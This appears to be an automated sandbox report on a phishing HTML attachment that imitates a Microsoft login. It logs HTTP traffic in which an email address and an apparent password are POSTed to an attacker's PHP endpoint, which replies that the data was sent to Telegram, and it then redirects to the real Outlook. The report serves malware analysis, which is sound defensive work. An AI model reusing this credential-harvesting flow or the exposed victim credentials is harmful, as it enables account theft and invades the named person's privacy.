2025-01-10 17:38:31 UTC	347	OUT	GET /mail/ HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:32 UTC	920	IN	HTTP/1.1 417 Server: Microsoft-IIS/10.0 request-id: 213a3a32-e9bf-c4d7-677a-72a789dff1c8 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedFETarget: FR4P281CU005.internal.outlook.com X-BackEndHttpStatus: 417 X-CalculatedBETarget: FR2P281MB2638.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 417 X-BEPartition: Clique/CLDEUP281FRA00 X-FEProxyInfo: FR0P281CA0104.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: Mjo6Ib/p18RnenKnid/xyA.1.1 X-FEServer: FR4P281CA0074 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FirstHopCafeEFZ: HHN X-Powered-By: ASP.NET X-FEServer: FR0P281CA0104 Date: Fri, 10 Jan 2025 17:38:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	49777	104.21.96.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:36 UTC	712	OUT	POST /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive Content-Length: 54 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://t6vgccvtc.thehang.top:8443 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:36 UTC	54	OUT	Data Raw: 69 73 61 64 6f 73 61 3d 76 65 72 73 74 65 65 67 25 34 30 6b 75 2e 65 64 75 26 67 74 61 67 6f 6c 61 73 3d 6b 63 25 33 46 41 77 5a 6e 25 37 43 74 21 46 56 50 4d 72 Data Ascii: isadosa=versteeg%40ku.edu&gtagolas=kc%3FAwZn%7Ct!FVPMr
2025-01-10 17:38:37 UTC	1115	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Set-Cookie: PHPSESSID=uapp6ef0nu07ro3b6s4tblcn4d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UhIh7GkfENUPqYa8Vtc4NjTPTw3i%2B51beUsEwYpU5SCdrcTccjea57BhFXlaSwnDggyfJjzbBXhW%2FNTfSIeuSDx84k2Dz%2BsnoS9Uitd2yHAYEJs1mg4%2FfZ9z3f1K3BR%2B0PtAlRFml28%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe71158833de9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1536&min_rtt=1527&rtt_var=592&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1366&delivery_rate=1820448&cwnd=209&unsent_bytes=0&cid=34c3972b428f45d6&ts=605&x=0"
2025-01-10 17:38:37 UTC	51	IN	Data Raw: 32 64 0d 0a 44 61 74 61 20 73 61 76 65 64 20 61 6e 64 20 73 65 6e 74 20 74 6f 20 54 65 6c 65 67 72 61 6d 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 0d 0a Data Ascii: 2dData saved and sent to Telegram successfully!
2025-01-10 17:38:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	49780	104.21.64.1	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:38 UTC	404	OUT	GET /app/godag.php HTTP/1.1 Host: 3kxi2uz.port-terra.fr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=tj8p72t2pdhn10l78qve97ai34
2025-01-10 17:38:38 UTC	1094	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 17:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, OPTIONS Access-Control-Allow-Headers: Content-Type Location: https://outlook.office.com/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZWK1oDlzR3gJlJ99eYAODlAAvCGDOu%2BEk6xQQ6yovbQqeGSrJZaZDvlxPdqc0l2D%2Fgc7MwVa5o8ihQm4SGSyEUpFu%2BQ9uY7A9HXcjItTZFUlKgu7Riazuce4OFLJfKZ2ckoJq2QdpQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe711f6acb7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2091&min_rtt=2073&rtt_var=790&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=982&delivery_rate=1408586&cwnd=218&unsent_bytes=0&cid=10930f5a02db5147&ts=309&x=0"
2025-01-10 17:38:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	49781	40.99.149.210	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:38 UTC	716	OUT	GET /mail/ HTTP/1.1 Host: outlook.office.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://t6vgccvtc.thehang.top:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:39 UTC	726	IN	HTTP/1.1 417 Server: Microsoft-IIS/10.0 request-id: 33134e23-d7c9-aba4-e24f-efc3577e4d91 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedBETarget: FR2PPF9438B6CEF.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-Proxy-RoutingCorrectness: 1 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 417 X-FirstHopCafeEFZ: HHN X-BEPartition: Clique/CLDEUP281HHN03 X-FEProxyInfo: FR3P281CA0155.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: I04TM8nXpKviT+/DV35NkQ.1 X-Powered-By: ASP.NET X-FEServer: FR3P281CA0155 Date: Fri, 10 Jan 2025 17:38:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	49782	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:39 UTC	342	OUT	GET / HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:40 UTC	636	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office.com/mail/ Server: Microsoft-IIS/10.0 request-id: d6e76391-e566-7a4e-e227-93d88edffcab Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: FR0P281CA0098 X-RequestId: 9f3a1a6c-95f3-4bf0-97a2-ca5bade58eac Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FEProxyInfo: FR0P281CA0098.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: kWPn1mblTnriJ5PYjt/8qw.0 X-Powered-By: ASP.NET X-FEServer: FR0P281CA0098 Date: Fri, 10 Jan 2025 17:38:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	49783	40.99.150.114	443	4940	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:38:41 UTC	347	OUT	GET /mail/ HTTP/1.1 Host: outlook.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 17:38:41 UTC	920	IN	HTTP/1.1 417 Server: Microsoft-IIS/10.0 request-id: cdeae7a8-7f67-8956-fbbf-a64566375160 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-PreferredRoutingKeyDiagnostics: 0 X-CalculatedFETarget: FR4P281CU021.internal.outlook.com X-BackEndHttpStatus: 417 X-CalculatedBETarget: FR2P281MB1749.DEUP281.PROD.OUTLOOK.COM X-BackEndHttpStatus: 417 x-besku: UNKNOWN X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 417 X-BEPartition: Clique/CLDEUP281FRA01 X-FEProxyInfo: FR0P281CA0098.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN MS-CV: qOfqzWd/Von7v6ZFZjdRYA.1.1 X-FEServer: FR4P281CA0304 Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-FirstHopCafeEFZ: HHN X-Powered-By: ASP.NET X-FEServer: FR0P281CA0098 Date: Fri, 10 Jan 2025 17:38:40 GMT Connection: close Content-Length: 0

Target ID:	0
Start time:	12:37:27
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Encrypted_Archive_2025_LHC1W64SMW.html"
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:37:31
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2004,i,1790280279161617684,10079190429469742874,262144 /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Source: https://t6vgccvtc.thehang.top:8443/impact?H5Ckk4e32O1aAbGyJBHkey=versteeg@ku.edu	HTTP Parser: function _0x3684(_0x22b152,_0x1bdcfa){var _0x41d1c6=_0x13ca();return _0x3684=function(_0x4bab88,_0x
Source: https://t6vgccvtc.thehang.top:8443/impact#versteeg@ku.edu	HTTP Parser: function _0x3684(_0x22b152,_0x1bdcfa){var _0x41d1c6=_0x13ca();return _0x3684=function(_0x4bab88,_0x

Source: Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No favicon

Source: global traffic	TCP traffic: 192.168.2.11:62763 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.11:52596 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.11:60076 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1

Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: New script tag found

Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://t6vgccvtc.thehang.top:8443sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://t6vgccvtc.thehang.top:8443sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://t6vgccvtc.thehang.top:8443sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://t6vgccvtc.thehang.top:8443sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://t6vgccvtc.thehang.top:8443/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
